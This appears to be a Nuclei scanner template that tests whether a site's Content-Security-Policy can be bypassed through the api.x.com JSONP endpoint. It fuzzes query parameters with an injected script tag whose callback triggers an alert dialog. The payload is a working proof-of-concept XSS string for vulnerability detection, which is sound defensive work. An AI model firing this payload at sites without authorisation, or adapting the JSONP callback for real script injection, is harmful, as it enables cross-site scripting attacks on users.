x-api-csp-bypass: Content-Security-Policy Bypass - X API

id: x-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - X API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,x-api,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "x.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: x_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://api.x.com/1/statuses/oembed.json?url=https:%2F%2Ftwitter.com%2FMartina%2Fstatus%2F867710263654580226&callback=alert&_=1496363308445"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "x_api_csp_xss == true"
# digest: 4a0a004730450220327f2bc7c35141f8fb83a5010a6682f0c13d30c22455bb4291e1f9abf5cccd36022100874289c217c88a4e4f0c3894ca8f253d6be916276e0086e8d003e3593c82d949:922c64590222798bb761d5b6d8e72950